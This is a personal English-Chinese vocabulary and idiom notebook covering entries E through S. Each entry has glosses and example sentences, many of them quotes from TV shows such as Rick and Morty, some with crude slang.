E
Empty
- empty the shopping cart
清空购物车 - empty your mind /pocket /home
Endow
[ɪnˈdaʊ] 赋予；捐赠；天生具有
You can't endow a creature with sentience and then rip it away. 你不能给一个生物思想然后剥夺掉。
- sentience ['sentɪəns] 感觉性；感觉能力；知觉
Eon
/ˈiːən/ 千万年
- I've been here for eons.
我已经存在了亿万年。
Epitome
/ɪˈpɪtəmɪ/ 典型；缩影
- He's kind of the epitome of an American businessman. I really like that. He is self-established.
他是美国商人的典范。我真的很欣赏他这点。他是白手起家的。 - That epitome of rugged wildness, the grizzly bear, seems to be the only species other than humans to have invented the comb.
粗犷野性的象征——灰熊，看来是除了人类以外唯一一种发明了梳子的动物。 - In Nigeria, maybe now it's changing a little bit, but in Nigeria, eating plain, white rice is the epitome of poverty.
现在尼日利亚的情况可能有了一些改变，不过在尼日利亚，吃白饭代表着贫穷。 - Even now in her sixties, she is the epitome of French elegance.
即使现在已经年届花甲，她仍堪称法国人优雅风度的典范。 - Maureen was the epitome of sophistication.
莫琳是个典型的老油条。
Equal
All men are created equal.
人生而平等。Errand
[ˈerənd] （短程）差使；跑腿
I got an errand to run in a whole different dimension.
我要去另外一个次元办点事儿。She went off on some errand.
她出去办事了。Run an errand for me, will you? Go find Roger for me.
替我跑跑腿好吗？帮我去找一下罗杰。
Erection
[ɪˈrekʃn] （阴茎）勃起；建造；竖立
- Do you have an erection?
你是不是勃起了？ - How long have you had the erection?
挺了多久了？ - I've got an erection the size of an east coast lighthouse, and I'm coming home to share it with my beautiful wife. I'm going to make love to my wife!
我已经像东海岸灯塔一样一柱擎天了，我正要回家来和我美丽的老婆一起分享呢。我就要去和我老婆做爱了
Evacuation
[ɪˌvækjuˈeɪʃn] 疏散；撤离；排泄
- The digestive tract is the evacuation route.
消化道就是疏散（排泄）通道。
Eye
wide-eyed 无经验的; 天真的
This generation has lost a lot of its wide-eyed innocence.
这代人已经失去了许多单纯和天真的品质。I'm just saying, somewhere along the way, I lost that wide-eyed girl from Muskegon.
我只是想说，时过境迁，那个天真烂漫的马斯基根少女已经不复存在了。
F
Face
Told you! In your face! He is ruining our child. 我就说嘛！我们的孩子快被他毁了。
Feature vs Function
Feature：What's the difference? (特点、特征)Function：What's this? (功能、用途)
Flatter
Uh, that's flattering... and a little weird. 好荣幸 但有点诡异。
Fine
- Don’t worry about me. I’ll be fine.
别担心我了，我没问题的。 - You’re having a fever? Drink a lot of warm water and you’ll be fine.
你发烧了？多喝热水，不会有事的。 - I hope the children are all right.
我希望孩子们平安无事。
Finger
put one's finger on sthto discover the exact reason why a situation is the way it is, especially when something is wrong
- There's something odd about him, but I can't quite put my finger on it.
- He couldn't put his finger on the problem.
他无法指出问题的所在。 - I can't put my finger on why.
看不出问题所在。
First
The first step is hardest. 万事开头难。
first and foremost 首先也是最重要的；首要的是；首先
In spite of being elected to office, she remains first and foremost a writer. 尽管被选担任公职，但首先她仍然是名作家。
Fish
have bigger fish to fry另有要事要办- Relax, darling. Our problem is soon to be solved, but now we’ve got bigger fish to fry.
放心好了，亲爱的。我们的问题不久就会解决的，但是现在我们另有重要的事要办。
Fishy
可疑的
There's something fishy going on here.
这儿的情况有点不大对头。Something is fishy, don't you think so?
有点可疑啊，你不觉得吗？
Flip
flip out/flip your lid头盖（lid）骨都翻转过来了；炸开了锅；发怒；失控；抓狂If you like that.You're really going to flip your lid over this one. 如果你喜欢那玩意儿的话，这个一定能让你大吃一惊。
Focuse
Stop focusing on perfect, start focusing on done.
先完成再完美。Food
- Rice vinegar
醋 - Ginger
生姜 - Hairy crab
大闸蟹 - Comfort food
安慰食品（通常令人愉悦但并不健康的） - Dipping sauce
蘸酱；沾料 - Food that reminds you of home.
唤起家乡回忆的食物 - Taste buds get duller.
味蕾变迟钝。 - Get your hands dirty.
把手弄脏。 - Extra ingredients will corrupt the flavor.
多余的调料会破坏食物本来的风味。
Foolproof
（计划或机器）连傻子都懂的，操作简便的，万无一失的
My plan is foolproof. Nothing will go wrong as long as you do exactly as I say.
我的计划万无一失。你只要按照我说的做，绝对不会出错。Absence makes the heart grow fonder. It's foolproof.
小别胜新婚嘛，这是不会错的。
Foot
get off on the wrong foot出师不利- Simon and I got off on the wrong foot but we're good friends now.
我和西蒙一开始关系不好，但是现在成了好朋友。 - I know we got off on the wrong foot, but I'm willing to start over.
我知道我们一开始就处不好，但是我愿意从头来过。 - I finally got a date with that new girl in class but I sure got off on the wrong foot with her: I had car trouble and got to her place almost two hours late.
那天我终于和班上新来的那个女同学约好了出去玩。可是，当天我的车出了问题，晚了两个小时才去接她，所以我一开头就把事弄糟了。 - get/start off on the right foot
一上来就一切顺利
Forget
Just realized I forgot to add the shipping.
I've learned that people will forget what you said, people will forget what you did, but people will never forget how you made them feel.
唯有感受难忘怀。by 马娅·安杰卢（Maya Angelou）Freebie
赠品
- Freebie thanksgiving dinner is now officially over.
免费感恩晚餐正式结束。 - Everybody likes to get a freebie: something given to you to try for free.
大家都喜欢拿赠品。
From
from here on (out)从现在起Nothing but fear from here on out, bitch! 从此开始只有恐怖，贱人。
From here on out, I'm making all the decisions.
G
Gaslight
煤气灯；心理操纵（mindfuck）
- Dont't gaslight me.
Get
I got very angry.我非常生气。get在这里有「逐渐变得」的含义，接近become，是个表示过程的动词，表示状态的变化。而I was very angry则仅表示当时的状态是生气，并不暗示过程。I got a surprise for you, Morty.莫蒂，我给你一个惊喜。get off sb's backused to tell someone to stop criticizing you:- I'm fine. Get off Rick's back. 我挺好的，别找 Rick 麻烦了。
- I had to give them up just to get your parents off my back. 我不得不放弃它们好让你父母别来烦我。
- Why don't you get off my back! I'm doing my best.
- Get off my back, I didn't sleep last night. / can't you see how
busy I am. / Don't you have anything better to do ?
The old guy's still got it.宝刀未老。go with the flow随大流；随波逐流；顺其自然- Most of them just go with the flow, ending up as something like a gas fitter or a policeman.
- In high school, I went with the flow.
I get what you're trying to say, Morty. 我知道你想说什么，莫蒂。
Go
加定冠词
the- go to the theatre
去剧场看戏 - go to the cinema
去看电影
不加定冠词
the- go to school
上学 - go to bed
上床，睡觉 - go to church
去教堂，去做礼拜 - go to hospital
去医院
Good night
Sleep well, Sleep tight.- 睡个好觉，睡个安稳觉
Sweet dreams.- 做个好梦
Dream about me!- 睡个安稳觉
Night-night!- 晚安（亲昵）
Good bye
It's been nice talking to you.- 翻译：与你聊天，甚是开心（nice 可以换成 interesting / fun / great）。
- 时态：可以把现在完成时换成过去时（It was nice talking to you.）
- 缩写：Nice talking to you.
- 区别：Nice to talk to you 用于对话的开始。
- 区别：Nice talking with you 没 Nice talking to you 常用，
- 示例：Well, it's been nice talking to you, but I really have to go. Talk to you soon.
It's kind of late already.- 天色已晚。
Good
I'm good字面意思是「我很好」，引申为「我这样就很好了，不用再麻烦了」。比直接说 No 显得更委婉。
- A: Do you want one more beer?（你想要再喝一杯啤酒吗？）
- B: I think I'm good. / No, I'm good. / I'm good. Thanks.（不用了，没关系。）
I've never felt so good in my life. 我这辈字没觉得这么好过。
I've never felt so dumb in my life. 从未感到如此废柴。
Grounded
（孩子）受罚不许出门的
You make that dog smart orMorty's grounded! 你不把狗弄聪明点，我就禁足 Morty。
I stayed out til 1 am last night and now I'm grounded for a week. 昨天晚上我凌晨一点才回家，现在被罚一个星期不许出门。
Listen up! Quit ditching class or you're grounded. No discussion. 听好了！别再翘课了，否则你会被禁足。没得商量。
Julie Mayer, you get back here! You're grounded, remember? 朱莉·梅尔，你给我回来。你被禁足了，记得吗？
Guy
I'm not that kind of guy, Morty. 我不是那种人，莫蒂。
H
Hairy
惊险的；刺激的
His driving was a bit hairy.
他开起车来有点儿令人胆战心惊。I like going on the back of Pedro's motorbike, though it can get a bit hairy.
我喜欢坐在佩德罗的摩托车后座上兜风，虽然有时有些惊险。
Halt
侧重突然地、决定性地终止、停止某一活动。
- The dimension I visited was so advanced, they had also halted the aging process, and everyone there was young and they had been forever.
我所访问的次元是如此的先进，他们也停止了衰老的过程，那里的每个人都很年轻，Morty，而且他们一直都很年轻。
Hang
hang up挂断电话hang-up恐惧; 担忧; 难堪sexual hang-ups性焦虑Sexual hang-ups in the pleasure chamber are punishable by death! 在快活屋扰乱色情秩序者可处死刑！
- What you just did is
punishable by death. 你刚才的行为足以判死刑。
I don't have any hang-ups about my body. 我对自己的身体没有任何担忧。
He's one of these men who went bald very young and has a terrible hang-up about it. 年纪轻轻就开始脱发，为此他十分烦恼。
Happy
You make my day!
你让我太开心了 / 这一天因你而美好。Hard work
Charisma is important, but so is hard work. You can't always charm your way through life.
魅力固然重要，努力工作也同样重要。你不能一辈子都靠卖弄你的魅力过日子（帅又不能当饭吃，但下饭）。Hassle
You need to stop hassling her.
你别再烦她了That's a very popular way to pay nowadays, totally hassle free!
现在这种方式很流行，完全没有麻烦。
Have
have to可用于各种时态have got to只用于现在时，口语还会缩写成got toby have got to 与 get to 的差别 - 希平方
Heist
/haɪst/ 盗窃（贵重物品）
- He didn't do the heist, I did.
偷东西的不是他，是我。
Here
Here it is- 「It is here」的倒装：（你要的）东西在这。
Here we go- （就在此时此地）我们出发吧。
Here goes- = Here it goes，一般是说话者开始做一件事时说的，以唤起別人注意，可译做「开始了」、「动手了」等
- "Here goes" he said, and jumped into the icy water（「看我的！」他说，纵身跳进冰冷的水里）。
Here we are- （就在此时此地）我们到了。
Here you are- 解释一：Here, you are served.
- 解释二：Here (is the item which) you are (looking for / requesting).
- 举例一：服务员把面送到你桌上，TA 会跟你说 「Here you are.」（你的面送到了，请您慢用）
- 举例二：出租车司机载你到目的地时，TA 跟你说 「Here you are.」（你去的地方到了）
- 举例三：朋友把东西递给你也说 「Here you are.」（你要的东西在这儿、拿去吧、给你）
- 同义词（近距离）：当店员正在拿这东西给你时，TA 会说 Here you go
- 同义词（远距离）：如果你手上正拿着想要买的东西，店员会说 There you go（你手上那个就是了）
倒装
- 这是汤姆和玛丽
Here are Tom and Mary（无代词就倒装）
Here they are（有代词不倒装） - 汤姆来了
There comes Tom（无代词就倒装）
There he comes（有代词不倒装）
Hi
（接近他人时的）自我介绍
- Just coming to say hi.
- Do you (guys) mind if I join you?
- Hi, may I introduce myself? I am…
- Let / Allow me introduce myself.
High road
You're gonna try to take the high road on this one? 你还想抢占道德制高点？
Don't high-road us. 别抢占道德制高点了。
I am not trying to high-road you. 我并不是想说我有多高尚。
Hook
Hook up勾搭某人- Friends hooking up is a bad idea.
朋友在一起是件坏事。 - Now Jack's hooked up, l'm single again.
现在杰克有了新对象，而我又恢复单身了。 - Are you two still hooking up?
你们俩还在一起吗？ - You really wanna hook up with her?
你真的很想跟她搞?
Holiday
- Holidays are for everyone.
- Happy holidays! 节日快乐！这是为了顾及不过圣诞节的人们（尤其是犹太人）。因为圣诞节（Christmas）就是基督（Christ）也就是耶稣（ Jesus）的生日，而犹太人是不承认耶稣的。他们年底也有自己的节日。
- Vacation involves traveling.
- Staycation: stay at home 的 vacation.
Holy
holy crap = holy shit = holy cow 我的天哪；我的妈呀；该死;不会吧
Humble
谦虚的，谦逊的
He's very humble about his success.
他对自己的成功十分谦虚。Defeat and failure may make people humble.
挫折与失败会使人变得谦卑。In my humble opinion (= I want to emphasize that I think that) we should never have bought the car in the first place.
依拙见，首先我们就不应该买这辆汽车。
I
Input
投入物（指信息、资源等）
- we owe it all to everyone's input.
我们的成功要归功于每个人的付出。 - We listen to our employees and value their input.
我们听取员工的想法，重视他们的意见和建议。
Insane
This is insane! 这太疯狂了！/ 这简直疯了！
It's insane what you miss in prison. 你根本想不到你在监狱里会想念什么。
Intense
剧烈的; 极度的
Oh, wow. That's an intense line of questioning, Snuffles. 你这一连串问得有点咄咄逼人啊，嗅嗅。
Interstellar
This guy he doesn't understand interstellar currency.
这人根本不懂星际货币。
Intimidating
Listen to me, Morty. I know that new situations can be intimidating. 听我说，莫蒂。我知道人在新环境里会感到不安。
Importantly
More importantly, your father is a horrible influence on our son. 更重要的是，您的父亲对我们的儿子造成了可怕的影响。
Improvise
It's all improvised. It's very funny. 都是即兴创作，乐趣无穷。
J
journey （长途）旅行，比较辛苦的那种
trip （短途）旅行
The journey of a thousand miles begins with a single step.
千里之行，始于足下。The best time to plant a tree was twenty years ago. The second best time is now.
种一棵树最好的时间是二十年前，其次是现在。
K
Kindness
Let's make kindness go viral.
我们一起让善良蔓延吧。《瑞克和莫蒂》S1E1 17:05 Jerry 为什么说：我是愤怒的父亲 又不是即兴演说家
Know
it takes one to to know one彼此彼此- You say that I'm a cheapskate, do you? well, it takes one to know one!
你说我是个吝啬鬼，是不是？彼此彼此！
Knock
knock-off（非正式，贵重物品的）仿制品Looks like some sort of legally safe knock-off of an '80s horror character with miniature swords for fingers instead of knives.
看起来像是某个没构成侵权的山寨版八十年代恐怖电影人物，只是小刀手变成了短剑手。miniature /ˈmɪnɪtʃə/ 微型的
knock yourself out 别客气；随便点，把这当自己的家
- I think I take nap now. Yeah, sure, knock yourself out.
我现在想小睡一下。当然，请自便。
L
Lame
瘸的；站不住脚的；无说服力的
This party was lame.
这派对糟透了。" Limited seating" . That's such a lame excuse.
「座位有限」那真是个烂借口。
Late
Oh, no! I'm late to class, bitch!
哦不，我上课要迟到了，贱人！I'm almost never late to the bus.
我几乎从来不会赶公交车迟到。It's never too late to learn.
活到老，学到老。
Latino
[læˈtiːnoʊ] 拉丁美洲人；拉丁裔美国人（西班牙裔美国人）
There's no evidence that a latino student did it! 没有任何证据表明是拉丁裔的学生干的！
Leash
[liːʃ] （拴狗等动物用的）绳索，链子
Please keep your dog on a leash when on the beach.
在海滩上请牵住你的狗。I'm gonna take off this leash.
我要解开这遛狗绳了。
Luck
- Goog luck.
- Best of luck.
- I got so/really/super lucky today.
- I had such bad luck today.
- Better luck next time.
- Any luck? / No luck?
怎么样 / 成功了吗？ - What a lucky break for me.
那我真走运。
Lumber
木材（伐下后未经削磨的木材，现多用于美国英语中）；缓慢笨拙地移动
Look at it just lumbering around. 看它滚来滚去。
Literature
（公司的）宣传资料，产品简介，服务项目介绍
Could you send me your literature on/about car insurance policies, please? 请给我寄一份贵公司汽车保险方面的资料好吗？
Little
Little by little循序渐进Limit
push it to the limit超越极限- I desperately wanna push this A12X to the limit.
我破不急待想把 A12X 用到极限。 - Your expectations are too high so you push yourself to the limit , affecting your state of mind.
你对自己的期待过高，也把自己逼到极限，这都会影响你的精神状态。
M
Maintenance
[ˈmeɪntənəns] 检修；养护（保持道路、建筑、机器设备等状态良好的工作）
under maintenance 正在维护中
Man
有足够的勇气（或能力）
- I told him that he should be man enough to admit he had done wrong.
我对他说，他应该勇于承认错误。 - You can search me if you think you're man enough.
有胆的话，你可以搜我的身。
Manhandle
推搡；用手搬（大而重的物体）
Manhandle them. Give them the business.
蹂躏它们，大力不要停。You don't have to manhandle me.
好了 你不需要动手动脚的。Foreign journalists were manhandled by armed police, and told to leave.
外国记者们遭到武警的肢体推撞，并被口头驱离。
Mean
有意
I didn't mean to hurt you. 我不是有意要伤害你。
It's over, Elliot. I mean it. It's over. 完了，艾略特，我是认真的。
She didn't mean it. She didn't mean any of this... 她不是有意的，不是有意造成这一切..……
Meet
- 初次见面。
Nice to meet you. - 再次见面。
Nice / Good to see you (again).
Hey, I didnt think I would see you here. - 告别。
It was a pleasure to meet you.
For me as well.
Ｍega
非常好的；巨大的；兆；百万倍
Ｍega tree 奇异树
Mattress
床垫
- The mattress is too hard for him.
那个床垫对他来说太硬了。
Mind
- The smaller the mind, the greater the conceit.
思想越狭隘，自负越膨胀。
Millennia
[mɪˈleniə] 一千年，千周年；千周年纪念日
- For millennia, it was impossible to know.
数千年来，这些都是不解之谜。
Money
- Trust me. That woman is a gold digger.
相信我，那女人就是个拜金女。 - She's a gold digger. She only wants your money.
- I got a feeling she's a gold digger.
Moral
寓意
The moral of this story is bros before hoes.
我们能从这件事中学到：兄弟比女人更重要。Friends 'til the end. Bros before hoes.
生死之交。绝不重色轻友。
N
Nip
nip (something) in the bud防患于未然nip掐断bud花蕾- You gotta nip this in the bud.
你得趁早打消这种想法。
None
表示否定的代词
none意义上相当于not any或no one，但语气较强：- She kept none of his letters.
他的信件她一封也没有保留。 - None of my friends left early.
我的朋友没有一个早离开的。
none of这个短语有时可以表达一种断然、甚至粗暴的口气，尤其是在祈使句中：- None of your silly remarks!
别说傻话了！
No
no=not anyI don't have any friends. = I have no friends.
I have no time. = I don't have any time.Neutrino
[nuːˈtriːnoʊ] 【核物理学】中微子（微小的电中性粒子）
Nudity
[ˈnuːdəti] N-UNCOUNT
裸露
They're also really uncomfortable with nudity.
他们没法直视裸体。WouId you mind distracting them with some nudity?
你介不介意露个点 分散下他们的注意力？
裸戏
- Your agent said you're okay with nudity.
你经纪人说你对裸戏没问题。
Number
do a number on sb伤害某人；打败某人；使某人难堪；把某人整得很惨。I really did a number on my ankle when I fell.
我摔倒时真把脚踝弄坏了。He has done a number on Boston in the past two years.
过去两年他把 Boston 整得很惨。The boss did a number on child laborers by paying them nothing but poor meals.
老板显然是欺负那些童工，不付给他们工资只供应粗劣的饭食。
O
Obsession
[əbˈseʃn] 痴迷;困扰；无法摆脱的念头；念念不忘的事（或人）
- Romantic love is an obsession, it possesses you.
爱情萦绕于心，占据着你。
Of course
回答一些理所当然的问题时才能用 Of course，隐含的意思是「还用说吗」。
错误用法
- Do you hear what the boss said?
你有听到老板说什么吗？ - Of course!
当然（隐含：我怎么可能没听到！）
- Do you speak English?
你会说英文吗? - Of course!
当然（隐含：我怎么不会讲！）
正确用法
Can you help me?
你能帮帮我吗？
Of course!
当然愿意，这还用问吗？（也可以用 Sure / certainly）Do you mind if I open the window?
你介意我开窗吗？
Of course not.
当然不会（介意）。Outnumbered
敌众我寡
- We are outnumbered.
- They still outnumber us 1,000 to one.
他们的人数依然是我们的一千倍。
Orchard
We found a pick-your-own apple orchard
'ɔrtʃərd.
我们找到一个可以自己采摘的苹果园。Opinion
I know that's not a popular opinion, but it's my two cents on the issue. 我知道这不是什么主流的观点，但我就是这么想的。
That's just my two cents. 这只是我的个人浅见（愚见）。一种自谦的表达，毕竟自己的想法只值两分钱，所以我是不会强求你一定要同意的！
If you want my two cents, I think you should just quit and look for a better job. 如果你想听听我的浅见的话，我是觉得你应该离职找更好的工作。
P
Packaging vs Packing
- Packaging：产品的包装，例如彩盒包装、气泡袋包装……
- Packing：打包。有多少箱，每箱多少件。所以装箱单的英文是 Packing list。
Page
Yeah, it's nice to be on the same page every once in a while. 偶尔能意见一致真是蛮好的。
(every) once in a whileometimes but not often; from time to timeLogically, everyone knows that failure is inevitable every once in awhile. 从逻辑上讲，每个人都知道失败是不可避免的。
Every once in a while a revolutionary product comes along that changes everything. 每过一段时间，就会出现一个革命性产品，它将改变了一切。
Some of us get dipped in flat, some in satin, some in gloss. But every once in a while you find someone who's iridescent, and when you do, nothing will ever compare. 有有人住高楼，有人处深沟，有人光万丈，有人一身锈。世人万千种，浮云莫去求，斯人若彩虹，遇上方知有。by 韩寒译自《怦然心动》
- iridescent [ˌɪrɪˈdesnt] 色彩斑斓的；彩虹色的
Pan
Out of the frying pan into the fire. 把情况越来越糟比喻成放在平底锅上油煎的一条活蹦乱跳的鱼，跳出煎锅却掉进了熊熊炉火中；刚出油锅又入火坑；雪上加霜
frying pan煎锅；长柄平底锅
Sure, you convinced Mom to stop those boring violin lessons! But that makes it easier for her to send us to Sunday school. Don't you realize we've jumped out of the frying pan into the fire? 你的确说服了妈不让我们上那些枯燥乏味的小提琴课了，但是这只会让她更有可能送我们去主日学。你难道不明白我们这是跳出了油锅却掉进火坑了吗?
Pant
You you really wear the pants around here. 这里毕竟你说了算。
There's no doubt who'll wear the pants in that house. 毫无疑问，谁会在那房子里当家作主
Pain
- It pains me to sell it.
卖了它我也很心疼。 - It pains me to bring you this news.
我怀着沉痛的心情给你带来这个消息。 - I know that it pains you to see this. But I'm fine, ok? I'm fine.
我知道你见我这样很痛苦。但我没事，行了吧？我好极了。
Paradox
自相矛盾的情况；似非而是的说法；悖论
- It's a curious paradox that drinking a lot of water can often make you feel thirsty.
大量喝水经常会让人感觉口渴，这是看似矛盾而正确的奇怪说法。
Parachute
[ˈpærəʃuːt] 降落伞；跳伞
They fell 41,000 ft. before opening their parachutes.
他们下落了 41000 英尺才打开他们的降落伞。The plan is to parachute into the town.
计划是要跳伞进入该城。
Pardon
- I didn’t (really / quite) catch that. 我没怎么听清楚。
- I missed that. 我没听到。
- Pardon. / Pardon me. / I beg your pardon. 麻烦再说一遍。
- Could you repeat that?
- Could you say it one more time?
- Could you run that by me again?
- Could you say that (a bit) louder? 您能说大声点吗？
- Could you say that (a bit) slower? 您能说慢点儿吗？
Pass
推后
- I think I'll pass on the hiking next time.
我想远足的事下次再说吧。 - "You can join us if you like." Brad shook his head. " I'll pass, thanks."
“你要乐意，可以加入我们。”布拉德摇了摇头。“下次吧，谢谢。”
Pay
pay top dollar 花大价钱
- I'm paying top dollar. We'll find them.
重赏之下必有勇夫。
Peel
除去，剥去（水果、蔬菜的）皮
keep one's eyes peeled for （剥开眼皮、睁大眼睛）保持警惕；谨慎小心
Keep your eyes peeled for pigs.
但是你注意观察有没有警察。I'll be keeping my eyes peeled for you.
我会一直关注的。
Pervy
/ˈpəːvi/ 性变态
including a pervy attraction to your underage sister. 包括对你未成年姐姐的变态遐想。Play
No, no, no, I was just playing dead. 不不不，我只是装死。
Pluck
采摘；解救
He's created a mechanical arm to pluck Mrs. Pancakes out of the air. 他造了个机械手臂来接住 Pancakes 太太。
Pitch
推销（说辞）
She made a pitch for the job but she didn't get it. 她竭力争取这份工作，但却未得到。
She pitched her idea to me over a business lunch. 她在一次吃工作午餐时竭力向我游说她的想法。
Another client, another sales pitch, another moment of feeling disconnected from people. 又是一个客户，又是一通兜揽生意的套话（推销说辞），又是一阵脱离人群的空虚。
Hey, honey, crazy idea bad pitch let's put your dad here. 亲爱的。突发奇想，咱把你爸送进去吧。
支，搭（帐篷）
I got a lot of pushback when I pitched it. 我建这个的时候遇到了不少阻力。
We pitched camp/our tent in the shade. 我们在阴凉处安营／搭起帐篷。
Point
We can go into detail later, son. Now, wait. Th-there's no point to secrecy. Let's all live and die honestly. 细节我们待会儿再说。没什么可隐瞒的，无论生死都要坦诚。
Pointy 有尖头的
Post
- I'll keep you posted.
我有消息后同步给大家。 - Keep me posted.
有消息请同步给我。
Pop
pop by 突然来访；顺道
You're trapped in a dead man. Listen, if the situation keeps darkening, do yourself a favor. And pop by pirates of the pancreas. 你们被困在一死人的身体里了。如果情况继续恶化，对自己好点，去胰之海盗玩玩。
I hope you don't mind me popping by like this. 希望你不介意我冒昧打扰。
Present 🆚 Gift
Present Gift 随意 正式 通常价值较小 价值可大可小 在节日送给（家人或好友）的（具象的包装好的）礼物 使用范围更广，送礼对象更泛，也可指无形的礼物 Birthday present ˈprezənt礼物；当下的；在场的prɪˈzent介绍；颁发；主持节目Birthday gift
A gift from the gods（神的馈赠）
Tim has a gift forteaching English/languages. (天赋)- Gift shopping
买礼物（的行为） - Gift card
礼品卡 - Do you have any gift ideas?
你觉得送什么礼物好呢？ - I got you a present / gift.
我给你准备了礼物。 - I got a present / gift from Adam.
我在 Adam 那里收到了礼物。 - You shouldn't have.
你不该破费的。 - That's so kind / sweet / thoughtful of you.
你也太有心意了。 - It's so beautiful.
这个太漂亮了。 - Shall I open it now?
我可以现在就打开吗？ - Don't open this until Christmas.
千万别在圣诞节前打开哦。
Precedence
A take precedence over B：A 优先于 B
- Have as much fun as possible at college, but don't let it take precedence over work.
在大学里尽情地玩，但别让玩乐优先于学习。 - Business people often think that fluency and communication take precedence over grammar when speaking.
商界人士常认为说话时流利程度和表达能力比语法重要。
Predilection
/ˌpriːdɪˈlɛkʃ(ə)n/
Looks like Goldenfold has some predilections so shameful. 看来 Goldenfold 有一些他自己都不齿的癖好。
Lady Arryn's predilections were her own affair. 艾林夫人的嗜好是她的私事。
Prolong
[prəˈlɔːŋ] 拖延
Looks like we've merely prolonged the inevitable. 看来我们不过是把不可避免的事推迟了而已。
- merely 仅仅，只不过；只是
- inevitable [ɪnˈevɪtəbl] 必然发生的事
Puke
You make me want to puke. 我看到你就想吐。
Pumpkin
pumpkin pie 南瓜饼
pumpkin patch 南瓜田
Quarter the pumpkin and remove the seeds. 把南瓜一切四块，把南瓜子取出来。
Ah, well, Mr. Terry, why don't you tell the whole class the proper wordplay to use when one is chasing one's victim through a pumpkin patch? Terry 先生，你来告诉一下同学们，当你追人经过一片南瓜田的时候应该说什么啊？
Pun
双关语，语义双关的俏皮话
Oh, come on, Terry, you can't think of a pun involving pumpkins, bitch? 你就想不出什么和南瓜有关系的双关吗？贱人。Who cares what stupid pun you make when you kill someone?杀人的时候谁管你说什么双关呢。
Pussy
猫咪；阴门
pussy out怂了；打退堂鼓；（临阵）退缩Don't pussy out on me now. 你现在最好别惹恼我。
Q
Quest
We're going on a quest.
我们是来探险的。The quest for knowledge and understanding never gets dull.
对知识的渴望不会让你生活乏味
R
Real
Keep it real.
坚持真实。Reasoning
It's beyond your reasoning. 这些超出你们的理解范围的
Rectum
[ˈrektəm] 直肠
These seeds aren't gonna get through customs unless they're in someone's rectum, Morty. 这些种子只有在别人的直肠里才能通过海关，莫蒂。
rectal直肠的Reference
Is this a JoJo reference?这是 JoJo 的梗吗？Respect
with all due respect 给予一切应有的尊重；恕我直言；冒昧的说
- With all due respect, Sir, I cannot agree with your last statement.
恕我直言，先生，我不能同意您最后的那部分阐述。
Rehash
Okay. Let's not rehash that fight. 好吧，这个问题咱别再吵了。
Reimburse
报帐；报销
- burse 原意是金库
- im 相当于 in，在里面
- re 是 return 的意思
再回到金库里，意思是，一笔钱用掉了，又回到你身上。想像在公司，你自己先垫出一笔钱，再向公司报帐，这个动作就叫 reimburse。
例句：Tell me what you have spent and I will reimburse you.（告诉我你花了哪些费用，以便我还给你。）
这个字也常常以名词型态出现：I would like to request my travel reimbursement.（我想报差旅费。）
报帐、预支...这些英文不会说，荷包就亏大了－戒掉烂英文｜商周
Revolve
旋转；转动；环绕；围绕
- The earth revolves around the sun.
地球围绕太阳转。
revolve around以…为中心- The world doesn't revolve around you, bitch.
世界又不是光绕着你一个人转 贱人。
Road
- Two roads diverged in a wood, and I took the one less traveled by, and that has made all the difference.
一片树林里分出两条路，而我选择了人迹更少的一条，从此决定了我一生的道路。by Robert Frost
Root
- We're rooting for you.
我们支持你。 - Excellent. Which scientists are you rooting for?
太棒了。你支持哪个科学家？
Rub
蹭；摩擦；搓；揉搓
Jerry, come to rub my face in urine again? Jerry 又想来把我的脸摁进尿里吗？- urine [ˈjʊrɪn] 尿
Rut
车辙；刻板乏味的生活；（雄鹿等雄性动物的）发情期
- You keep going to the same bar. You're in a rut.
你每次都去同一间酒吧, 你墨守成规了。 - Get out this rut we've been in lately.
摆脱近期的刻板生活。
S
Sacred
/ˈseɪkrɪd/ 神圣的
Sex is sacred! 性是神圣的！
Sale
On sale vs For sale
- On sale = Special offer 特价中
- For sale 有出售（not for sale 非卖品）
Do you have the latest iPhone for sale?
你们有卖最新的iPhone吗?Yes, we do. It’s on sale for $100 this weekend.
有啊，这周末在做特价，只要一百块。
Sane
心智健全的，神智正常的；头脑清醒的；明智的
Right now, you're my sanest relative.
你现在是我最正常的亲戚了。We aren't sane enough to be in relationships.
在恋爱生活中，我们不会足够理智。
Sauce
Szechuan sauce川香酱- Szechuan \ˈsech-ˌwän\ 四川的
- sauce 酱
Save
Seatbelts save lives. Buckle up, every time.
时刻系好安全带，安全才能时刻在。by《超能陆战队》Serum
血清；免疫血清；美容精华液
I'm pretty close to death, which the serum will prevent. 我快死了，血清可以让我活下去。
Scalpel
手术刀；柳叶刀
Screw
screwed搞砸的；糟糕的We're so screwed! 我们完蛋啦！
Calm down. Screw you! 冷静点。去你的！
Screw this. I'm not playing his game. 去死，我不会玩他的游戏。
screwdriver螺丝刀Now hand me that flat-head screwdriver.
把扁头的螺丝刀递给我。Shape
(身体、物体) 处于（良好/不良）状况
He's in bad shape. 他伤得不轻。/ 他快不行了。
North Korea's economy is in bad shape. 朝鲜的经济状况十分糟糕。
He was still in better shape than many young men. 他依然比许多年轻人都健康。
Shoe
- I don't know when the other shoes' gonna drop.
祸不单行，不知道下一劫是何时。
咱们躲过了初一但是躲不了十五。
Shoot hoops
投篮；打篮球
- Miguel and I go to the park on Sundays, hang out, shoot hoops.
我和米格尔周末会去公园逛逛，打打球。 - Hey, Joe! Wanna shoot some hoops?
乔伊 你要去打篮球吗？ - Let's go. Time to go shoot hoops.
我们走吧，该去投篮了。
Sick
生病的
Sick口语中更常用；呕吐的：seasick晕船、carsick晕车、airsick晕飞机Ill比较正式
生病的说法
Are you sick?你生病了吗？I got a little sick生病了I'm not feeling very well.我身体不太舒服。I don't feel well.我身体不太舒服。I got food poisoning.我食物中毒了。I ate something bad.我吃坏肚子了。He is sick with influenza.他患了流行性感冒。
易错点
I'm feeling bad, I couldn't make it to the party.没法去派对，我感到很遗憾。
Sidekick
助手；跟班
- Might make me his new sidekick?
我会成为 Rick 外公的新宠吗？
Sleep
sleep like a baby（宝宝）
sleep like a log（木头）
As soon as I closed my eyes I will fall asleep.
我闭上眼睛就睡着了。I was kept awake by the noise last night.
昨晚的吵闹声，吵得我睡不着。I had a sound sleep and didn't hear anything.
我睡得很香，什么也没有听到。Are you going to stay up late.
你打算熬夜不睡觉吗？I had a pain that kept me awake all night.
我疼得整夜睡不着觉I'm used to sleeping late.
我习惯晚睡
Slippery
slippery slope滑坡效应指坏情况或恶习一旦开始就很可能变得愈加严重；小时偷针，大时偷金
- Once we start doing that, it's a slippery slope.
一旦开了头就刹不住车。
Sloppy
慵懒的; 马虎的
sloppy/bad craftsmanship 做工渣/技术烂
Snap
snap out of it振作起来- I was in a funk, and I couldn't snap out of it.
